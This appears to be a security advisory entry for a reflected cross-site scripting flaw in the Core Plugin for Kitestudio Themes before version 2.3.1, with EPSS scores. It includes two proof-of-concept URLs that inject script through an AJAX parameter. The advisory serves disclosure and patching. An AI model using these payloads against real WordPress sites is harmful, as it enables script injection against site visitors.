Core Plugin for Kitestudio Themes < 2.3.1 - Reflected Cross-Site-Scripting

2022-06-1500:00:00

cydave

0.001 Low

EPSS

Percentile

44.3%

JSON

The plugin does not sanitise and escape some parameters before outputting them back in a response of an AJAX action, available to both unauthenticated and authenticated users when a premium theme from the vendor is active, leading to a Reflected Cross-Site Scripting.

Install and active the dependencies: a premium theme (or the teta-lite one), as well as the WooCommerce plugin, then open the below URL as either an unauthenticated or authenticated user

v < 2.3 - https://example.com/wp-admin/admin-ajax.php?action=fetch_woocommerce_products_loop&atts[body_class]=%22%3E%3Cscript%3Ealert(`xss`)%3C/script%3E

v < 2.3.1 (will only works against unauthenticated users as a nonce is needed) - https://example.com/wp-admin/admin-ajax.php?action=fetch_woocommerce_products_loop&kite_nonce=xxxxx&atts[body_class]=%22onmouseover=alert(/XSS/)//

0.001 Low

EPSS

Percentile

44.3%

JSON

Related for WPEX-ID:F56F7244-E8EC-4A87-9419-643BC13B45A0